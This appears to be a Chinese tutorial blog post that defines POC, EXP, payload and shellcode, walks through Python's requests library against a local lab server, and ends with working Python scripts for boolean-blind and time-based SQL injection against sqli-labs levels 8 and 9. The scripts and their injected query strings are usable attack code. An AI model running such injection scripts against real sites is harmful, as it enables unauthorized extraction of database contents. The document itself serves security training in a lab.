Python----POC到EXP(requests模块、python脚本实现布尔盲注、延时注入)

Python

一、POC、EXP

POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。
Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
Shellcode:简单翻译 ’ shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名。

简述:POC是用来证明漏洞存在的,EXP是用来利用漏洞的;或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。

Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。

Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。

- 总结

想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的窃听器,这一天你所做的就是一个EXP,你在他家所做的就是不同的Payload,就把窃听器就当作Shellcode。

二、使用Python编写EXP

基础环境Python3,核心模块requests。

1. requests模块

- 概述

requests是使用Apache2 licensed 许可证的HTTP库,用python编写,比urll ib2模块更简洁。

Request支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。

requests会自动实现持久连接keep-alive。

- 支持HTTP的方法
GET      获取资源
POST     传输实体主体
PUT      传输文件
HEAD     获得响应报文首部
DELETE   删除文件
OPTIONS  查询支持的方法
TRACE    追踪路径
CONNECT  要求用隧道协议连接代理
LINK     建立和资源之间的连接
UNLINK   断开连接关系
- requests使用HTTP方法
res = requests.get()
res = requests.post()
res = requests.put()
res = requests.delete()
res = requests.head()
res = requests.options()
- 参数
GET参数          params
HTTP头部         headers
POST参数         data
文件             files
Cookies          cookies
重定向处理        allow_redirects = False/True
超时             timeout
证书验证          verify = False/True
工作流(延迟下载)   stream=False/ True
事件挂钩          hooks=dict (response=)
身份验证          auth=
代理             proxies=
- 对象对应的方法
对象                    方法
URL             .url
text            .text
编码             .encoding | .encoding=
响应内容          .content
Json解码器        .json
原始套接字响应     .raw | .raw.read() (需要升启stream=True)
历史响应代码       .history
抛出异常          .raise_for_status()
查看服务器响应头   .headers 
查看客户端请求头   .request.headers
查看Cookie       .cookies
身份验证          .auth=
更新             .update
解析连接字头      .links []

2. 快速开始

windows 2008为服务器(192.168.40.129)

  1. 导入requests模块,没有的需要下载
python -m pip install requests
  1. 基本测试

服务器的get.php页面

<?php
var_dump($_GET);
?>

测试:

# 导入requests模块
>>> import requests
# 发送get请求将响应所得的所有内容放入res现象中
>>> res = requests.get("http://192.168.40.129/PHP/requests/get.php")
# 获取url
>>> res.url
'http://192.168.40.129/PHP/requests/get.php'
# 获取正文
>>> res.text
'array(0) {\n}\n'
# 获取响应码
>>> res.status_code
200
# 获取响应编码
>>> res.encoding
'ISO-8859-1'
# 以二进制方式获取响应正文
>>> res.content
b'array(0) {\n}\n'
# 获取响应头部
>>> res.headers
{'Date': 'Thu, 24 Dec 2020 07:23:33 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'X-Powered-By': 'PHP/5.4.45', 'Content-Length': '13', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}

3. 相关操作

- 定制头部

重新定义User-Agent

import requests

url = "http://192.168.40.129/PHP/requests/get.php"
header = {"User-Agent":"HELLO"}
res = requests.get(url,headers = header)
print(res.request.headers)

运行结果:

在这里插入图片描述

- 超时

服务器的timeout.php页面,设置sleep5秒

<?php
echo "Hello,world!";
sleep(5);
?>

使用python脚本发送get请求,如果3秒内没有得到响应就打印出:Time Out错误:

import requests

url = "http://192.168.40.129/PHP/requests/timeout.php"

try:
    res = requests.get(url,timeout = 3)
    print(res.text)

except Exception as e:
    print("Time Out")

运行结果:

在这里插入图片描述

- GET传参
import requests

url = "http://192.168.40.129/PHP/requests/get.php"

getPara = {"name":"hello","password":"123456"}

res = requests.get(url,params = getPara)

print(res.text)
print(res.url)

运行结果:

在这里插入图片描述

- POST传参
import requests

url = "http://192.168.40.129/PHP/requests/post.php"

postData = {"name":"hello","password":"123456"}
res = requests.post(url,data=postData)

print(res.text)

运行结果:

在这里插入图片描述

- 上传文件

服务器网页:

在这里插入图片描述
本地文件:

在这里插入图片描述

py代码:

import requests

url = "http://192.168.40.129/PHP/requests/upfiles.php"
# {"文件上传input标签的name":open("本地文件路径","二进制方式")}
upFile = {"upFile":open("test.txt","rb")}
# {"提交input标签的name":"标签的value"}
postData = {"userSubmit":"submit"}
res = requests.post(url,files = upFile,data = postData)
print(res.text)

运行结果:

在这里插入图片描述

成功上传到服务器:

在这里插入图片描述

- 重定向

301 redirect:代表永久性转移;
302 redirect:代表暂时性转移;
meta fresh:通过网页中的meta指令,在特定时间后重定向到新的网页,如果延迟的时间太短(约5秒之内),会被判断为spam。

测试:

服务器设置index.php:使用302重定向

<?php
echo "This is index.php";
header("Location: ./302.php");
?>

302.php页面

<?php
echo "This is 302.php";
?>

py测试代码:关闭重定向

import requests

url = "http://192.168.40.129/PHP/requests/index.php"
res = requests.get (url = url)
print(res.text)
print(res.history)    # 历史响应状态码
res = requests.get(url, allow_redirects=False)
print(res.headers)
print(res.text)

运行结果:

在这里插入图片描述

- cookie
import requests

url = "http://192.168.40.129/PHP/requests/getcookie.php"

userCookie = {"name":"hello"}

res = requests.get(url,cookies = userCookie)
print(res.text)

运行结果:

在这里插入图片描述

三、简单示例

1. py脚本实现布尔盲注

以sqli-labs第八关为例。利用py脚本获取数据库名。

第八关由于注入 ?id=1' and 1=1 --+?id=1' and 1=2 --+ 页面回显不同(即html正文长度不同),所以存在布尔盲注。

py代码原理:通过循环判断正常访问网页的html正文长度和注入sql语句后获取到的正文长度,当它们相等说明判断正确。

import requests
import string

url = "http://192.168.40.129/PHP/sqli-labs-master/Less-8/"
# 1. 计算正常页面长度
normalTextLen = len(requests.get(url+"?id=1").text)
print("normal Text Length: " + str(normalTextLen))
# 2. 定义数据库名长度
dbNameLen = 0
# 3. 循环判断数据库名长度
while True:
    # 拼接注入的sql语句,变量为dbNameLen,+:空格,由于dbNameLen是一个数字我们需要转化为字符
    dbNameLen_url = url + "?id=1'+and+length(database())=" + str(dbNameLen) + "--+"
    print(dbNameLen_url)

    if len(requests.get(dbNameLen_url).text) == normalTextLen:
        print("db Name Length: " + str(dbNameLen))
        break

    if dbNameLen == 30:
        print("Error!")
        break

    dbNameLen += 1

# 4. 定义数据库名
dbName = ""
# 5. 由于上面判断出数据库长,所以我们需要定义从 1 下标开始遍历数据库名
for i in range(1,dbNameLen+1):
    # 6. 定义字典:26个小写字母
    for a in string.ascii_lowercase:
        dbName_url = url + "?id=1'+and+substr(database(),"+ str(i) +",1)='"+ a +"'--+"
        print(dbName_url)
        if len(requests.get(dbName_url).text) == normalTextLen:
            dbName+=a
            print(dbName)
            break

运行结果:

在这里插入图片描述

2. py脚本实现延时注入

以sqli-labs第9关为例。

import requests
import string

url = "http://192.168.40.129/PHP/sqli-labs-master/Less-9/"

# 1. 定义函数用来判断网页请求是否超时,如果没超过3秒返回网页内容;如果超过3秒就返回字符串:timeout
def timeOut(url):
    try:
        res = requests.get(url,timeout = 3)
        return res.text
    except Exception as e:
        return "timeout"
# 2. 定义数据库名长度
dbNameLen = 1
# 3. 循环判断,如果判断正确页面就延时5秒
while True:
    dbNameLen_url = url + "?id=1'+and+if(length(database())="+ str(dbNameLen) + ",sleep(5),1)--+"
    print(dbNameLen_url)
    if "timeout" in timeOut(dbNameLen_url):
        print("db Name Length: " + str(dbNameLen))
        break
    if dbNameLen == 30:
        print("Error")
        break
    dbNameLen += 1
# 4. 定义数据库名
dbName = ""
# 5. 循环判断数据库名
for i in range(1,dbNameLen+1):
    for a in string.ascii_lowercase:
        dbName_url = url + "?id=1'+and+if(substr(database(),"+ str(i) +",1)='"+ a +"',sleep(5),1)--+";
        print(dbName_url)
        if "timeout" in timeOut(dbName_url):
            dbName += a
            print("db Name: " + dbName)
            break

运行结果:

在这里插入图片描述

- 补充:sys.argv[ ]
import sys

sys.argv[]

sys.argv[]:是一个从程序外部获取参数的桥梁,但从外部取得的参数可以是多个,所以获得的是一个列表(list),所以才能用 [ ] 提取其中的元素。

sys.argv[0]即第一个元素,也是程序本身;

sys.argv[1]、sys.argv[2]… 才依次是外部给予的参数。

示例1:

import sys

print(sys.argv[0])

运行结果:就是程序本身的路径

在这里插入图片描述

示例2:

import sys

print(sys.argv[1])

运行结果:外部给予的参数

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值